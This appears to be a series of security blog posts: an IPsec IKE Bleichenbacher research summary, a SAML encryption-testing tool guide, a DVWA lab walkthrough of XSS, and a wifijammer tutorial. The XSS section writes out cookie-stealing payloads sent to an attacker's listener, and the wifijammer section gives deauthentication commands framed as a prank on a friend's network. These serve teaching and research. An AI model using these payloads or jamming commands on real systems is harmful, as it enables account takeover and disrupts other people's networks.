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Friday, May 22, 2020

Decompiling is very useful for understanding srtipped binaries, most dissasemblers like IDA or Hopper have a plugin for decompiling binaries, generating a c like pseudocode.

Static analysis, is very useful in most of cases, specially when the binary is not so big, or when you just have an address where to start to analyze. But some algorithms will be learned in less time by dynamic analysis like tracing or debugging.

In cookiemonsters team, we are working on several tracers with different focus, but all of them mix the concept of tracing and decompiling to generate human-readable traces.

S2 is my tracer & decompiler plugin for gdb, very useful for ctfs.
Some of the features are:

- signed/unsigned detecion
- conditional pseudocode (if)
- syscall resolution
- unroll bucles
- used registers values
- mem states
- strings
- logging



More info


We found out that reusing a key pair across different versions and modes of IPsec IKE can lead to cross-protocol authentication bypasses, enabling the impersonation of a victim host or network by attackers. These vulnerabilities existed in implementations by Cisco, Huawei, and others.

This week at the USENIX Security conference, I will present our research paper on IPsec attacks: The Dangers of Key Reuse: Practical Attacks on IPsec IKE written by Martin Grothe, Jörg Schwenk, and me from Ruhr University Bochum as well as Adam Czubak and Marcin Szymanek from the University of Opole [alternative link to the paper]. This blog post is intended for people who like to get a comprehensive summary of our findings rather than to read a long research paper.

IPsec and Internet Key Exchange (IKE)

IPsec enables cryptographic protection of IP packets. It is commonly used to build VPNs (Virtual Private Networks). For key establishment, the IKE protocol is used. IKE exists in two versions, each with different modes, different phases, several authentication methods, and configuration options. Therefore, IKE is one of the most complex cryptographic protocols in use.

In version 1 of IKE (IKEv1), four authentication methods are available for Phase 1, in which initial authenticated keying material is established: Two public key encryption based methods, one signature based method, and a PSK (Pre-Shared Key) based method.

Attacks on IKE implementations

With our attacks we can impersonate an IKE device: If the attack is successful, we share a set of (falsely) authenticated symmetric keys with the victim device, and can successfully complete the handshake – this holds for both IKEv1 and IKEv2. The attacks are based on Bleichenbacher oracles in the IKEv1 implementations of four large network equipment manufacturers: Cisco, Huawei, Clavister, and ZyXEL. These Bleichenbacher oracles can also be used to forge digital signatures, which breaks the signature based IKEv1 and IKEv2 variants. Those who are unfamiliar with Bleichenbacher attacks may read this post by our colleague Juraj Somorovsky for an explanation.

The affected hardware test devices by Huawei, Cisco, and ZyXEL in our network lab.

We show that the strength of these oracles is sufficient to break all handshake variants in IKEv1 and IKEv2 (except those based on PSKs) when given access to powerful network equipment. We furthermore demonstrate that key reuse across protocols as implemented in certain network equipment carries high security risks.

We additionally show that both PSK based modes can be broken with an offline dictionary attack if the PSK has low entropy. Such an attack was previously only documented for one of those modes (edit: see this comment). We thus show attacks against all authentication modes in both IKEv1 and IKEv2 under reasonable assumptions.

The relationship between IKEv1 Phase 1, Phase 2, and IPsec ESP. Multiple simultaneous Phase 2 connections can be established from a single Phase 1 connection. Grey parts are encrypted, either with IKE derived keys (light grey) or with IPsec keys (dark grey). The numbers at the curly brackets denote the number of messages to be exchanged in the protocol.

Where's the bug?

The public key encryption (PKE) based authentication mode of IKE requires that both parties exchanged their public keys securely beforehand (e. g. with certificates during an earlier handshake with signature based authentication). RFC 2409 advertises this mode of authentication with a plausibly deniable exchange to raise the privacy level. In this mode, messages three and four of the handshake exchange encrypted nonces and identities. They are encrypted using the public key of the respective other party. The encoding format for the ciphertexts is PKCS #1 v1.5.

Bleichenbacher attacks are adaptive chosen ciphertext attacks against RSA-PKCS #1 v1.5. Though the attack has been known for two decades, it is a common pitfall for developers. The mandatory use of PKCS #1 v1.5 in the PKE authentication methods raised suspicion of whether implementations resist Bleichenbacher attacks.

PKE authentication is available and fully functional in Cisco's IOS operating system. In Clavister's cOS and ZyXEL's ZyWALL USG devices, PKE is not officially available. There is no documentation and no configuration option for it and it is therefore not fully functional. Nevertheless, these implementations processed messages using PKE authentication in our tests.

Huawei implements a revised mode of the PKE mode mentioned in the RFC that saves one private key operation per peer (we call it RPKE mode). It is available in certain Huawei devices including the Secospace USG2000 series.

We were able to confirm the existence of Bleichenbacher oracles in all these implementations. Here are the CVE entries and security advisories by the vendors (I will add links once they are available):
On an abstract level, these oracles work as follows: If we replace the ciphertext of the nonce in the third handshake message with a modified RSA ciphertext, the responder will either indicate an error (Cisco, Clavister, and ZyXEL) or silently abort (Huawei) if the ciphertext is not PKCS #1 v1.5 compliant. Otherwise, the responder continues with the fourth message (Cisco and Huawei) or return an error notification with a different message (Clavister and ZyXEL) if the ciphertext is in fact PKCS #1 v1.5 compliant. Each time we learn that the ciphertext was valid, we can advance the Bleichenbacher attack one more step.

A Bleichenbacher Attack Against PKE

If a Bleichenbacher oracle is discovered in a TLS implementation, then TLS-RSA is broken since one can compute the Premaster Secret and the TLS session keys without any time limit on the usage of the oracle. For IKEv1, the situation is more difficult: Even if there is a strong Bleichenbacher oracle in PKE and RPKE mode, our attack must succeed within the lifetime of the IKEv1 Phase 1 session, since a Diffie-Hellman key exchange during the handshake provides an additional layer of security that is not present in TLS-RSA. For example, for Cisco this time limit is currently fixed to 60 seconds for IKEv1 and 240 seconds for IKEv2.

To phrase it differently: In TLS-RSA, a Bleichenbacher oracle allows to perform an ex post attack to break the confidentiality of the TLS session later on, whereas in IKEv1 a Bleichenbacher oracle only can be used to perform an online attack to impersonate one of the two parties in real time.

Bleichenbacher attack against IKEv1 PKE based authentication.

The figure above depicts a direct attack on IKEv1 PKE:
  1. The attackers initiate an IKEv1 PKE based key exchange with Responder A and adhere to the protocol until receiving the fourth message. They extract the encrypted nonce from this message, and record the other public values of the handshake.
  2. The attackers keep the IKE handshake with Responder A alive as long as the responder allows. For Cisco and ZyXEL we know that handshakes are cancelled after 60 seconds, Clavister and Huawei do so after 30 seconds.
  3. The attackers initiate several parallel PKE based key exchanges to Responder B.
    • In each of these exchanges, they send and receive the first two messages according to the protocol specifications.
    • In the third message, they include a modified version of the encrypted nonce according to the the Bleichenbacher attack methodology.
    • They wait until they receive an answer or they can reliably determine that this message will not be sent (timeout or reception of a repeated second handshake message).
  4. After receiving enough answers from Responder B, the attackers can compute the plaintext of the nonce.
  5. The attackers now have all the information to complete the key derivation and the handshake. They thus can impersonate Responder B to Responder A.

Key Reuse

Maintaining individual keys and key pairs for each protocol version, mode, and authentication method of IKE is difficult to achieve in practice. It is oftentimes simply not supported by implementations. This is the case with the implementations by Clavister and ZyXEL, for example. Thus, it is common practice to have only one RSA key pair for the whole IKE protocol family. The actual security of the protocol family in this case crucially depends on its cross-ciphersuite and cross-version security. In fact, our Huawei test device reuses its RSA key pair even for SSH host identification, which further exposes this key pair.

A Cross-Protocol Version Attack with Digital Signature Based Authentication

Signature Forgery Using Bleichenbacher's Attack

It is well known that in the case of RSA, performing a decryption and creating a signature is mathematically the same operation. Bleichenbacher's original paper already mentioned that the attack could also be used to forge signatures over attacker-chosen data. In two papers that my colleagues at our chair have published, this has been exploited for attacks on XML-based Web Services, TLS 1.3, and Google's QUIC protocol. The ROBOT paper used this attack to forge a signature from Facebook's web servers as proof of exploitability.

IKEv2 With Digital Signatures

Digital signature based authentication is supported by both IKEv1 and IKEv2. We focus here on IKEv2 because on Cisco routers, an IKEv2 handshake may take up to four minutes. This more relaxed timer compared to IKEv1 makes it an interesting attack target.

I promised that this blogpost will only give a comprehensive summary, therefore I am skipping all the details about IKEv2 here. It is enough to know that the structure of IKEv2 is fundamentally different from IKEv1.

If you're familiar with IT-security, then you will believe me that if digital signatures are used for authentication, it is not particularly good if an attacker can get a signature over attacker chosen data. We managed to develop an attack that exploits an IKEv1 Bleichenbacher oracle at some peer A to get a signature that can be used to break the IKEv2 authentication at another peer B. This requires that peer A reuses its key pair for IKEv2 also for IKEv1. For the details, please read our paper [alternative link to the paper].

Evaluation and Results

For testing the attack, we used a Cisco ASR 1001-X router running IOS XE in version 03.16.02.S with IOS version 15.5(3)S2. Unfortunately, Cisco's implementation is not optimized for throughput. From our observations we assume that all cryptographic calculations for IKE are done by the device's CPU despite it having a hardware accelerator for cryptography. One can easily overload the device's CPU for several seconds with a standard PC bursting handshake messages, even with the default limit for concurrent handshakes. And even if the CPU load is kept below 100 %, we nevertheless observed packet loss.

For the decryption attack on Cisco's IKEv1 responder, we need to finish the Bleichenbacher attack in 60 seconds. If the public key of our ASR 1001-X router is 1024 bits long, we measured an average of 850 responses to Bleichenbacher requests per second. Therefore, an attack must succeed with at most 51,000 Bleichenbacher requests.

But another limit is the management of Security Associations (SAs). There is a global limit of 900 Phase 1 SAs under negotiation per Cisco device in the default configuration. If this number is exceeded, one is blocked. Thus, one cannot start individual handshakes for each Bleichenbacher request to issue. Instead, SAs have to be reused as long as their error counter allows. Furthermore, establishing SAs with Cisco IOS is really slow. During the attack, the negotiations in the first two messages of IKEv1 require more time than the actual Bleichenbacher attack.

We managed to perform a successful decryption attack against our ASR 1001-X router with approximately 19,000 Bleichenbacher requests. However, due to the necessary SA negotiations, the attack took 13 minutes.

For the statistics and for the attack evaluation of digital signature forgery, we used a simulator with an oracle that behaves exactly as the ones by Cisco, Clavister, and ZyXEL. We found that about 26% of attacks against IKEv1 could be successful based on the cryptographic performance of our Cisco device. For digital signature forgery, about 22% of attacks could be successful under the same assumptions.

Note that (without a patched IOS), only non-cryptographic performance issues prevented a succesful attack on our Cisco device. There might be faster devices that do not suffer from this. Also note that a too slow Bleichenbacher attack does not permanently lock out attackers. If a timeout occurs, they can just start over with a new attack using fresh values hoping to require fewer requests. If the victim has deployed multiple responders sharing one key pair (e. g. for load balancing), this could also be leveraged to speed up an attack.

Responsible Disclosure

We reported our findings to Cisco, Huawei, Clavister, and ZyXEL. Cisco published fixes with IOS XE versions 16.3.6, 16.6.3, and 16.7.1. They further informed us that the PKE mode will be removed with the next major release.

Huawei published firmware version V300R001C10SPH702 for the Secospace USG2000 series that removes the Bleichenbacher oracle and the crash bugs we identified. Customers who use other affected Huawei devices will be contacted directly by their support team as part of a need-to-know strategy.

Clavister removed the vulnerable authentication method with cOS version 12.00.09. ZyXEL responded that our ZyWALL USG 100 test device is from a legacy model series that is end-of-support. Therefore, these devices will not receive a fix. For the successor models, the patched firmware version ZLD 4.32 (Release Notes) is available.

FAQs

  • Why don't you have a cool name for this attack?
    The attack itself already has a name, it's Bleichenbacher's attack. We just show how Bleichenbacher attacks can be applied to IKE and how they can break the protocol's security. So, if you like, call it IPsec-Bleichenbacher or IKE-Bleichenbacher.
  • Do you have a logo for the attack?
    No.
  • My machine was running a vulnerable firmware. Have I been attacked?
    We have no indication that the attack was ever used in the wild. However, if you are still concerned, check your logs. The attack is not silent. If your machine was used for a Bleichenbacher attack, there should be many log entries about decryption errors. If your machine was the one that got tricked (Responder A in our figures), then you could probably find log entries about unfinished handshake attempts.
  • Where can I learn more?
    First of all, you can read the paper [alternative link to the paper]. Second, you can watch the presentation, either live at the conference or later on this page.
  • What else does the paper contain?
    The paper contains a lot more details than this blogpost. It explains all authentication methods including IKEv2 and it gives message flow diagrams of the protocols. There, we describe a variant of the attack that uses the Bleichenbacher oracles to forge signatures to target IKEv2. Furthermore, we describe the quirks of Huawei's implementation including crash bugs that could allow for Denial-of-Service attacks. Last but not least, it describes a dictionary attack against the PSK mode of authentication that is covered in a separate blogpost.

Media Coverage, Blogs, and more

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In this article we are going to solve the Cross-Site Scripting Attack (XSS) challenges of DVWA app. Lets start by understanding what XSS attacks are. OWASP defines XSS as: "Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted websites. XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user within the output it generates without validating or encoding it.
An attacker can use XSS to send a malicious script to an unsuspecting user. The end user's browser has no way to know that the script should not be trusted, and will execute the script. Because it thinks the script came from a trusted source, the malicious script can access any cookies, session tokens, or other sensitive information retained by the browser and used with that site. These scripts can even rewrite the content of the HTML page."
XSS attacks are usually used to steal user cookies which let attackers control the victim's account or to deface a website. The severity of this attack depends on what type of account is compromised by the attacker. If it is a normal user account, the impact may not be that much but if it is an admin account it could lead to compromise of the whole app or even the servers.

DOM, Sources, and Sinks:

DVWA has three types of XSS challenges. We'll describe them as we go through them in this article. But before we go about to solve these challenges we need to understand few things about a browser. We need to know what Document Object Model (DOM) is and what are sources & sinks. DOM is used by browsers as a hierarchical representation of elements in the webpage. Wikipedia defines DOM as "a cross-platform and language-independent interface that treats an XML or HTML document as a tree structure wherein each node is an object representing a part of the document. The DOM represents a document with a logical tree". A source can be described simply as input that a user supplies. And a sink can be defined as "potentially dangerous JavaScript function or DOM object that can cause undesirable effects if attacker-controlled data is passed to it". Javascript function eval() is an example of a sink.

DOM Based XSS:

Now lets solve our first XSS challenge which is a DOM based XSS challenge. DOM based XSS occurs when sources are passed to sinks without proper validation. An attacker passes specifically crafted input to the sink to cause undesirable effects to the web app.
"Fundamentally, DOM-based vulnerabilities arise when a website passes data from a source to a sink, which then handles the data in an unsafe way in the context of the client's session."
On the DVWA app click on XSS (DOM), you will be presented with a page like this:
Keep an eye over the URL of the page. Now select a language and click the Select button. The URL should look like this now:
http://localhost:9000/vulnerabilities/xss_d/?default=English
We are making a GET request to the server and sending a default parameter with the language that we select. This default parameter is the source and the server is passing this source to the sink directly without any validation. Now lets try to exploit this vulnerability by changing the URL to this:
http://localhost:9000/vulnerabilities/xss_d/?default=<script>alert(XSS)</script>
When we hit enter after modifying the URL in the URL bar of the browser we should see an alert box popup with XSS written on it. This proves that the app is passing the data from source to sink without any validation now its time that we steal some cookies. Open another terminal or tab and setup a simple http server using python3 like this:
python3 -m http.server
By default the python http server runs on port 8000. Now lets modify the URL to steal the session cookies:
http://localhost:9000/vulnerabilities/xss_d/?default=<script>new Image().src="http://localhost:8000/?c="+document.cookie;</script>
The payload we have used here is from the github repository Payload all the things. It is an awesome repository of payloads. In this script, we define a new image whose source will be our python http server and we are appending user cookies to this request with the help of document.cookie javascript function. As can be seen in the image we get a request from the page as soon as the page loads with our xss payload and can see user cookies being passed with the request. That's it we have stolen the user cookies.

Reflected XSS:

Another type of XSS attack is called Reflected XSS Attack. OWASP describes Reflected XSS as those attacks "where the injected script is reflected off the web server, such as in an error message, search result, or any other response that includes some or all of the input sent to the server as part of the request."
To perform this type of attack, click on XSS (Reflected) navigation link in DVWA. After you open the web page you are presented with an input field that asks you to input your name.
Now just type your name and click on submit button. You'll see a response from server which contains the input that you provided. This response from the server which contains the user input is called reflection. What if we submit some javascript code in the input field lets try this out:
<script>alert("XSS")</script>
After typing the above javascript code in the input field click submit. As soon as you hit submit you'll see a pop-up on the webpage which has XSS written on it. In order to steal some cookies you know what to do. Lets use another payload from payload all the things. Enter the code below in the input field and click submit:
<img src=x onerror=this.src="http://localhost:8000/?c="+document.cookie />
Here we are using img html tag and its onerror attribute to load our request. Since image x is not present on the sever it will run onerror javascipt function which performs a GET request to our python http server with user cookies. Like we did before.
Referencing OWASP again, it is mentioned that "Reflected attacks are delivered to victims via another route, such as in an e-mail message, or on some other website. When a user is tricked into clicking on a malicious link, submitting a specially crafted form, or even just browsing to a malicious site, the injected code travels to the vulnerable web site, which reflects the attack back to the user's browser. The browser then executes the code because it came from a "trusted" server. Reflected XSS is also sometimes referred to as Non-Persistent or Type-II XSS."
Obviously you'll need your super awesome social engineering skills to successfully execute this type of attack. But yeah we are good guys why would we do so?

Stored XSS:

The last type of XSS attack that we are going to see is Stored XSS Attack. OWASP describes Stored XSS attacks as those attacks "where the injected script is permanently stored on the target servers, such as in a database, in a message forum, visitor log, comment field, etc. The victim then retrieves the malicious script from the server when it requests the stored information. Stored XSS is also sometimes referred to as Persistent or Type-I XSS."
To perform this type of XSS attack, click on XSS (Stored) navigation link in DVWA. As the page loads, we see a Guestbook Signing form.
In this form we have to provide our name and message. This information (name and message) is being stored in a database. Lets go for a test spin. Type your name and some message in the input fields and then click Sign Guestbook. You should see your name and message reflected down below the form. Now what makes stored XSS different from reflected XSS is that the information is stored in the database and hence will persist. When you performed a reflected XSS attack, the information you provided in the input field faded away and wasn't stored anywhere but during that request. In a stored XSS however our information is stored in the database and we can see it every time we visit the particular page. If you navigate to some other page and then navigate back to the XSS (Stored) page you'll see that your name and message is still there, it isn't gone. Now lets try to submit some javascript in the message box. Enter a name in the name input field and enter this script in the message box:
<script>alert(XSS)</script>
When we click on the Sign Guestbook button, we get a XSS alert message.
Now when you try to write your cookie stealing payload you notice you cannot put your payload in the box as the maximum input length for the textarea is set to 50. To get rid of this restriction, right-click on the textarea box and click inspect. Change or delete the maxlength="50" attribute in code:
<textarea name="mtxMessage" cols="50" rows="3" maxlength="50"></textarea>
to something like this:
<textarea name="mtxMessage" cols="50" rows="3"></textarea>
And now use your payload to steal some cookies:
<img src=x onerror=this.src="http://localhost:8000/?c="+document.cookie />
Everytime a user visits this page you'll get his/her cookies (Sweet...). You don't need to send any links or try your super powerful social engineering skills to get user cookies. Your script is there in the database it will be loaded everytime a user visits this vulnerable page.
This is it for today see you next time.

References:

  1. DOM-based vulnerabilities: https://portswigger.net/web-security/dom-based
  2. DOM-based XSS: https://portswigger.net/web-security/cross-site-scripting/dom-based
  3. Document Object Model: https://en.wikipedia.org/wiki/Document_Object_Model
  4. Payload All the Things: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection
  5. Cross Site Scripting (XSS): https://owasp.org/www-community/attacks/xss/
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Thursday, May 21, 2020

Security Assertion Markup Language (SAML) is an XML-based standard commonly used in Web Single Sign-On (SSO) [1]. In SAML, the confidentiality of transferred authentication statements against intermediaries can be provided using XML Encryption [2]. However, implementing XML Encryption in a secure way can be tricky and several attacks on XML Encryption have been identified in the past [3] [4]. Therefore, when auditing a SAML endpoint, one should always consider testing for vulnerabilities in the XML Encryption implementation.

This blog post introduces our latest addition to the SAML Attacker of our BurpSuite extension EsPReSSO: the Encryption Attack tab. The new tab allows for easy manipulation of the encrypted parts within intercepted SAML responses and can, therefore, be used to quickly assess whether the SAML endpoint is vulnerable against certain XML Encryption attacks.


Weaknesses of XML Encryption

Implementations of XML Encryption can be vulnerable to adaptive chosen ciphertext attacks. This is a class of attacks in which the attacker sends a sequence of manipulated ciphertexts to a decryption oracle as a way to gain information about the plaintext content.
Falsely implemented XML Encryption can be broken using:
  • an attack against the CBC-mode decryption (quite similar to a padding oracle attack) [3] or
  • a Bleichenbacher attack against the RSA-PKCS#1 encryption of the session key  [4].
SAML makes use of XML Encryption and its implementations could, therefore, also be vulnerable to these attacks.

XML Encryption in SAML

To support confidential transmission of sensitive data within the SAML Assertion, assertions can be encrypted using XML Encryption. An EncryptedAssertion is shown in the abridged example below.

<EncryptedAssertion>
  <EncryptedData>
    <EncryptionMethod Algorithm="http://www.w3.org/2001/04/xmlenc#aes128-cbc"/>
    <KeyInfo>
      <EncryptedKey>
        <EncryptionMethod Algorithm="http://www.w3.org/2001/04/xmlenc#rsa-1_5"/>
        <CipherData>
          <CipherValue>
            [...]
          </CipherValue>
        </CipherData>
      </EncryptedKey>
    </KeyInfo>
    <CipherData>
        <CipherValue>
          [...]
        </CipherValue>
    </CipherData>
  </EncryptedData>
</EncryptedAssertion>

The EncryptedAssertion contains an EncryptedData element, which in turn is the parent of the EncryptionMethod, KeyInfo, and CipherData elements.  SAML makes use of what is referred to as a hybrid encryption scheme. This is done using a session key which symmetrically encrypts the payload data (the example uses AES-128 in CBC mode), resulting in the ciphertext contained in the EncryptedAssertion/EncryptedData/CipherData/CipherValue child element. The session key itself is encrypted using an asymmetric encryption scheme. In our example, RSA-PKCS#1.5 encryption is used with the public key of the recipient, allowing the contents of the the EncryptedKey child element to be derived from the KeyInfo element. 

Encryption Attacker

Our BurpSuite extension EsPReSSO can help detect vulnerable implementations with the newly integrated Encryption Attacker within EsPReSSO's SAML module.

Once a SAML response which contains an EncryptedAssertion has been intercepted, open the SAML tab, select the Attacks pane, and choose Encryption from the dropdown menu. This works in Burp's Proxy, as well as in the Repeater tool, and is depicted below.
As sketched out above, the symmetric session key is encrypted using the recipient's public key. Since the key is public, anybody can use it to encrypt a selected symmetric key and submit a valid encryption of arbitrary messages to the recipient. This is incredibly helpful because it allows us to produce ciphertexts that decrypt the chosen plaintexts. To accomplish this, one can purposefully send invalidly padded messages, or messages containing invalid XML, as a method to trigger and analyze the different reactions of the decryption endpoint (i.e, turning the endpoint into a decryption oracle). To facilitate these investigations, the new Encryption Attacker makes this process dead simple.
The screenshot above shows the essential interface of the new encryption tab:
At the top, the certificate used to encrypt the symmetric session key can be pasted into the text field. This field will be pre-filled automatically if the intercepted SAML message includes a certificate in the KeyInfo child element of the EncryptedData element. The Update Certificate checkboxes above the text area can be used to include the certificate in the manipulated SAML message.
In the Symmetric Key text field, the hexadecimal value of the symmetric session key can be set. Choose the asymmetric algorithm from the dropdown menu and click Encrypt key -- this will update the corresponding KeyInfo elements of the intercepted SAML message. 

The payload in the text area labeled XML data can now be entered. Any update in the XML data field will also be reflected in the hexadecimal representation of the payload (found on right of the XML data field). Note that this is automatically padded to the blocklength required by the symmetric algorithm selected below. However, the payload and the padding can be manually adjusted in the hex editor field.

Eventually, click the Encrypt content button to generate the encrypted payload. This will apply the changes to the intercepted SAML message, and the manipulated message using Burp's Forward or Go button can now be forwarded, as usual.

Probing for Bleichenbacher Oracles

Bleichenbacher's attack against RSA-PKCS1 v1.5 encryption abuses the malleability of RSA to draw conclusions about the plaintext by multiplying the ciphertext with adaptively chosen values, and observing differences in the received responses. If the (error-) responses differ for valid and invalid PKCS1 v1.5 ciphertexts, Bleichenbachers' algorithm can be used to decrypt the ciphertext without knowing the private key [6].

To determine whether or not a SAML endpoint is vulnerable to Bleichenbacher's Attack, we simply need to check if we can distinguish those responses received when submitting ciphertexts that are decrypted into invalidly formatted PKCS1 v1.5 plaintexts, from the responses we receive when sending ciphertexts that are decrypted into validly formatted plaintexts. 

Recall that PKCS1 v1.5 mandates a certain format of the encrypted plaintext, namely a concatenation of a BlockType 00 02, a randomized PaddingString (PS) that includes no 00 bytes, a 00 (NULL-byte) as delimiter, and the actual plaintext message. The whole sequence should be equal in size to the modulus of the RSA key used. That is, given the byte length k of the RSA modulus and the message length |m|, PS has the length |PS| = k - 3 - |m|. Furthermore, PKCS1 v1.5 demands that |PS| to be at least eight bytes long [5]. 

In SAML, the recipient's public key is usually known because it is published in the metadata, or even included in the EncryptedAssertion. For this reason, we do not need to fiddle around with manipulated ciphertexts. Instead, we simply submit a validly formatted RSA-PKCS1 v1.5 encrypted message and an encrypted message which deciphers into an invalidly formatted plaintext. As an example, assume an RSA public key of 2048 bits which we want to use to encrypt a 16 byte session key `01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F 10` (hexadecimal representation). |PS|$ is $2048/8 - 3 - 16 = 237, so a valid PKCS1 v1.5 plaintext, ready to be encrypted using `AA` for all 237 padding bytes, could look like the listing shown below.

00 02 AA AA AA AA AA AA AA AA AA AA AA AA AA AA
AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA
AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA
AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA
AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA
AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA
AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA
AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA
AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA
AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA
AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA
AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA
AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA
AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA
AA AA AA AA AA AA AA AA AA AA AA AA AA AA AA 00
01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F 10
In the Encryption attack pane of EsPReSSO, ensure that the correct public key certificate has been added to the Certificate field. Insert a valid plaintext, such as the one above, into the Symmetric Key field and select Plain RSA encryption from the Algorithm drop down menu. Click the Encrypt button to compute the RSA transformation and apply the new EncryptedKey element to the intercepted SAML message. Now, submit the message by clicking Burp's Go or Forward button and carefully inspect the response.

Next, repeat the steps outlined above, but this time submit an invalid PKCS1 v1.5 message. For example, consider using an invalid BlockType of `12 34` instead of `00 02`, or replace the `00` delimiter so that the decryptor is unable to determine the actual message after decrypting the ciphertext. If you are able to determine from the recieved responses whether or not the submitted ciphertext decrypted into a valid PKCS1 v1.5 formatted plaintext, chances are high that the decryptor can be used as a Bleichenbacher oracle. Don't forget to take into account the actual XML data, i.e., the assertion encrypted with the new session key; by submitting valid or invalid XML, or by removing signatures from the SAML message or the assertion you may increase your chances of detecting differences in the returned responses.

Probing for Oracles in CBC-Mode Decryption

Another known attack on XML Encryption is aimed at the Cipher Block Chaining (CBC) mode, which can be used with the block ciphers AES or 3DES [2]. The attack is described in detail in this referenced paper [3] and is quite similar to Padding-Oracle attacks on CBC mode; the malleability of CBC mode encryption enables the attacker to perform a bytewise, adaptive manipulation of the ciphertext blocks which are subsequently sent to the decryptor. In most cases, the manipulated ciphertext will not decrypt to valid XML and an error will be returned. Sometimes, however, the plaintext will be parsed as valid XML, in which cases an error is thrown later on at the application layer. The attacker observes the differences in the responses in order to turn the decryptor into a ciphertext validity oracle which can be used to break the encryption.  Due to some particularities of the XML format, this attack can be very efficient, enabling decryption with about 14 requests per byte, and it is even possible to fully automate the process [7].

In order to determine if a particular SAML service provider is vulnerable to this attack, we can avoid the cumbersome ciphertext manipulation, if we are in possession of the decryptor's public key:
In the Encryption Attacker tab of EsPReSSO, add the public key certificate to the Certificate field (if necessary) and insert a symmetric key of your own devising into the  Symmetric Key text field. Select an appropriate RSA encryption method and click the Encrypt button to apply the new EncryptedKey element to the original SAML message. 

An XML message can now be inserted into the XML data text field. Select a CBC mode encryption algorithm and click Encrypt to apply the changes. As in the example above, press Burp's Go or Forward button to send the message and carefully inspect the response. Try sending invalid XML, e.g., by not closing a tag or using the `&` character without a valid entity and keep an eye open for differences in the returned responses. To manipulate the padding, the text field on the right side shows the hexadecimal representation of the plaintext, including the CBC padding. If you send a single block and set the last byte, which indicates the padding length to the blocksize, i.e. 16 or 0x10 for AES, the ciphertext should decrypt into an empty string and is generally considered "valid" XML.

Please refer to the original paper for more details, tips, and tricks for performing the actual attack [3]. 

Summary

The new XML Encryption attacker included in EsPReSSO can help security auditors to quickly assess if a SAML endpoint is vulnerable to known attacks against XML Encryption. To this end, the decryptor's public key is used in order to send suitable test vectors that can be provided in plaintext. Ciphertext manipulation is, therefore, not required. The actual process of decrypting an intercepted SAML message is, however, considered out of scope and not implemented in EsPReSSO.

In case you wonder how XML Encryption can be used in a secure fashion, here are some considerations [6]:
  • Always use an authenticated encryption mode such as AES-GCM instead of the CBC-mode encryption.
  • Using RSA-PKCS1 v1.5 within XML Encryption is particularly difficult to do in a secure manner, and it is recommended to use RSA with Optimal Asymmetric Encryption Padding (OAEP) instead [2].
  • Apply a digital signature over the whole SAML response, and ensure it is properly validated before attempting to decrypt the assertion. This should thwart the attack as a manipulated response can be recognized as such and should be rejected.
----------
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Wednesday, May 20, 2020


The name sounds exciting but really does it jam WiFi networks? Yes, it is able to do the thing which it's name suggests. So today I'm going to show you how to annoy your friend by cutting him/her short of the WiFi service.

Requirements:


  1. A computer/laptop with WiFi capable of monitoring (monitor mode).
  2. A Linux OS (I'm using Arch Linux with BlackArch Repos)
  3. And the most obvious thing wifijammer (If you're having BlackArch then you already have it).


How does it work? You maybe thinking!, it's quite simple it sends the deauth packets from the client to the AP (Access Point) after spoofing its (client's) mac-address which makes AP think that it's the connected client who wants to disconnect and Voila!

Well to jam all WiFi networks in your range its quite easy just type:

sudo wifijammer



but wait a minute this may not be a good idea. You may jam all the networks around you, is it really what you want to do? I don't think so and I guess it's illegal.

We just want to play a prank on our friend isn't it? So we want to attack just his/her AP. To do that just type:

sudo wifijammer -a <<AP-MAC-ADDRESS>>

here -a flag specifies that we want to jam a particular AP and after it we must provide the MAC-ADDRESS of that particular AP that we want to jam.
Now how in the world am I going to know what is the MAC-ADDRESS of my friend's AP without disturbing the other people around me?
It's easy just use the Hackers all time favorite tool airodump-ng. Type in the following commands:

sudo airmon-ng

sudo airodump-ng

airmon-ng will put your device in monitor mode and airodump-ng will list all the wifi networks around you with their BSSID, MAC-ADDRESS, and CHANNELS. Now look for your friend's BSSID and grab his/her MAC-ADDRESS and plug that in the above mentioned command. Wooohooo! now you are jamming just your friend's wifi network.

Maybe that's not what you want, maybe you want to jam all the people on a particular channel well wifijammer can help you even with that just type:

sudo wifijammer -c <<CHANNEL-NUMBER>>

with -c we specify to wifijammer that we only want to deauth clients on a specified channel. Again you can see with airodump-ng who is on which channel.

wifijammer has got many other flags you can check out all flags using this command that you always knew:

sudo wifijammer -h



Hope you enjoyed it, good bye and have fun :)

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Most of the people don't go with videos and read books for learning. Book reading is a really effective way to learn and understand how things work. There are plenty of books about computers, security, penetration testing and hacking. Every book shows a different angle how things work and how to make system secure and how it can be penetrated by hackers. So, here I have gathered a few of the best hacking books of 2018 available on the market.

BEST HACKING BOOKS OF 2018

There are hundreds of books about hacking, but I have streamlined few of best hacking books of 2018.

1. THE HACKER'S PLAYBOOK PRACTICAL GUIDE TO PENETRATION

This handbook is about experting yourself with the hacking techniques in the hacker's way. This is about penetration testing that how hackers play their techniques and how we can counter them.

CONTENTS

  • Introduction
  • Pregame – The Setup
  • Setting Up a Penetration Testing Box
  • Before the Snap – Scanning the Network
  • The Drive – Exploiting Scanner Findings
  • The Throw – Manual Web Application Findings
  • The Lateral Pass – Moving Through the Network
  • The Screen – Social Engineering
  • The Onside Kick – Attacks that Require Physical Access
  • The Quarterback Sneak – Evading AV
  • Special Teams – Cracking, Exploits, Tricks
  • Post Game Analysis – Reporting
Download the Hacker's Playbook Practical Guide to Penetration.

2. ANDROID HACKER'S HANDBOOK

